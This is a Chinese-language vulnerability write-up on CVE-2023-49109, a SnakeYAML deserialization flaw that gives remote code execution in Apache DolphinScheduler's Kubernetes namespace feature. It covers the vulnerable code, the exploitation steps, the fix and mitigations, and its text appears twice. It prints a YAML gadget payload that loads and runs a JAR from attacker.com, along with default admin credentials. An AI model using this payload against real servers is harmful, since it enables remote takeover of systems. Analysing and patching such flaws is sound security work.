Remote Code Execution in Apache Dolphinscheduler(CVE-2023-49109)
字数 1440 2025-08-23 18:31:18

Apache DolphinScheduler 远程代码执行漏洞分析 (CVE-2023-49109)

漏洞概述

Apache DolphinScheduler 在 3.2.1 之前的版本中存在远程代码执行漏洞。该漏洞源于系统在处理 Kubernetes 命名空间创建请求时,对用户提供的 YAML 内容进行了不安全的反序列化操作,攻击者可通过构造恶意 YAML 内容实现任意代码执行。

影响版本

  • 受影响版本:3.0.0 <= version < 3.2.1
  • 安全版本:3.2.1 及以上

环境搭建

  1. 从官网下载源码及二进制运行包:

    tar -xvzf apache-dolphinscheduler-*-bin.tar.gz
    cd apache-dolphinscheduler-*-bin
    bash ./bin/dolphinscheduler-daemon.sh start standalone-server
    
  2. 修改 JVM 参数(位于 standalone-server/bin/start.sh

  3. 默认管理员凭据:

    • 用户名:admin
    • 密码:dolphinscheduler123

漏洞分析

漏洞入口点

漏洞主要存在于 K8sNamespaceController 控制器中,具体实现类为:
org.apache.dolphinscheduler.api.service.impl.K8SNamespaceServiceImpl#createK8sNamespace

关键代码分析

@Override
public Map<String, Object> createK8sNamespace(User loginUser, String namespace, Long clusterCode, 
    Double limitsCpu, Integer limitsMemory) {
    // 参数校验部分省略...
    
    if (!Constants.K8S_LOCAL_TEST_CLUSTER_CODE.equals(k8sNamespaceObj.getClusterCode())) {
        try {
            String yamlStr = genDefaultResourceYaml(k8sNamespaceObj);
            k8sClientService.upsertNamespaceAndResourceToK8s(k8sNamespaceObj, yamlStr);
        } catch (Exception e) {
            // 错误处理...
        }
    }
    // 后续操作...
}

漏洞触发流程:

  1. 系统将用户可控的 k8sNamespaceObj 对象转换为 YAML 字符串
  2. 调用 k8sClientService.upsertNamespaceAndResourceToK8s 方法处理该 YAML

反序列化点分析

K8sClientService#upsertNamespacedResourceToK8s 方法中:

private ResourceQuota upsertNamespacedResourceToK8s(K8sNamespace k8sNamespace, String yamlStr) 
    throws RemotingException {
    KubernetesClient client = k8sManager.getK8sClient(k8sNamespace.getClusterCode());
    ResourceQuota body = yaml.loadAs(yamlStr, ResourceQuota.class); // 漏洞点
    // 后续操作...
}

此处使用 SnakeYAML 的 loadAs 方法对用户可控的 YAML 内容进行反序列化,而 SnakeYAML 的反序列化操作存在安全风险。

漏洞利用

利用条件

  1. 拥有 DolphinScheduler 的有效账号(至少需要管理员权限)
  2. 目标系统版本在受影响范围内

利用步骤

  1. 登录 DolphinScheduler 后台
  2. 进入"安全中心"->"集群管理"->"创建集群",创建任意集群
  3. 进入"安全中心"->"k8s命名空间管理"->"创建命名空间"
    • 选择刚创建的集群
    • 在命名空间字段填入恶意 YAML payload

恶意 Payload 示例

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://attacker.com/yaml-payload.jar"]
  ]]
]

此 payload 会从远程服务器加载恶意 JAR 文件并执行其中的代码。

漏洞修复

官方通过以下方式修复了该漏洞:

  1. 移除了通过 yaml.loadAs 进行反序列化的代码
  2. 不再接受用户提供的 YAML 内容进行反序列化

修复补丁参考:GitHub Pull Request #14991

防护建议

  1. 立即升级到 Apache DolphinScheduler 3.2.1 或更高版本
  2. 如果无法立即升级,可考虑以下临时措施:
    • 限制对 DolphinScheduler 管理界面的访问
    • 监控系统日志中可疑的命名空间创建操作
  3. 避免使用管理员账号进行日常操作
  4. 定期审计系统权限分配

技术总结

该漏洞是一个典型的不安全反序列化问题,其根本原因在于:

  1. 系统信任了用户提供的输入(通过 k8sNamespaceObj 生成的 YAML)
  2. 使用了存在安全风险的反序列化方式(SnakeYAML 的 loadAs 方法)
  3. 缺乏对反序列化内容的严格校验

此类漏洞的防护应遵循"不信任用户输入"原则,对于必须的反序列化操作,应采用白名单机制或使用安全的反序列化方式。

Apache DolphinScheduler 远程代码执行漏洞分析 (CVE-2023-49109) 漏洞概述 Apache DolphinScheduler 在 3.2.1 之前的版本中存在远程代码执行漏洞。该漏洞源于系统在处理 Kubernetes 命名空间创建请求时,对用户提供的 YAML 内容进行了不安全的反序列化操作,攻击者可通过构造恶意 YAML 内容实现任意代码执行。 影响版本 受影响版本:3.0.0 <= version < 3.2.1 安全版本:3.2.1 及以上 环境搭建 从官网下载源码及二进制运行包: 修改 JVM 参数(位于 standalone-server/bin/start.sh ) 默认管理员凭据: 用户名:admin 密码:dolphinscheduler123 漏洞分析 漏洞入口点 漏洞主要存在于 K8sNamespaceController 控制器中,具体实现类为: org.apache.dolphinscheduler.api.service.impl.K8SNamespaceServiceImpl#createK8sNamespace 关键代码分析 漏洞触发流程: 系统将用户可控的 k8sNamespaceObj 对象转换为 YAML 字符串 调用 k8sClientService.upsertNamespaceAndResourceToK8s 方法处理该 YAML 反序列化点分析 在 K8sClientService#upsertNamespacedResourceToK8s 方法中: 此处使用 SnakeYAML 的 loadAs 方法对用户可控的 YAML 内容进行反序列化,而 SnakeYAML 的反序列化操作存在安全风险。 漏洞利用 利用条件 拥有 DolphinScheduler 的有效账号(至少需要管理员权限) 目标系统版本在受影响范围内 利用步骤 登录 DolphinScheduler 后台 进入"安全中心"->"集群管理"->"创建集群",创建任意集群 进入"安全中心"->"k8s命名空间管理"->"创建命名空间" 选择刚创建的集群 在命名空间字段填入恶意 YAML payload 恶意 Payload 示例 此 payload 会从远程服务器加载恶意 JAR 文件并执行其中的代码。 漏洞修复 官方通过以下方式修复了该漏洞: 移除了通过 yaml.loadAs 进行反序列化的代码 不再接受用户提供的 YAML 内容进行反序列化 修复补丁参考: GitHub Pull Request #14991 防护建议 立即升级到 Apache DolphinScheduler 3.2.1 或更高版本 如果无法立即升级,可考虑以下临时措施: 限制对 DolphinScheduler 管理界面的访问 监控系统日志中可疑的命名空间创建操作 避免使用管理员账号进行日常操作 定期审计系统权限分配 技术总结 该漏洞是一个典型的不安全反序列化问题,其根本原因在于: 系统信任了用户提供的输入(通过 k8sNamespaceObj 生成的 YAML) 使用了存在安全风险的反序列化方式(SnakeYAML 的 loadAs 方法) 缺乏对反序列化内容的严格校验 此类漏洞的防护应遵循"不信任用户输入"原则,对于必须的反序列化操作,应采用白名单机制或使用安全的反序列化方式。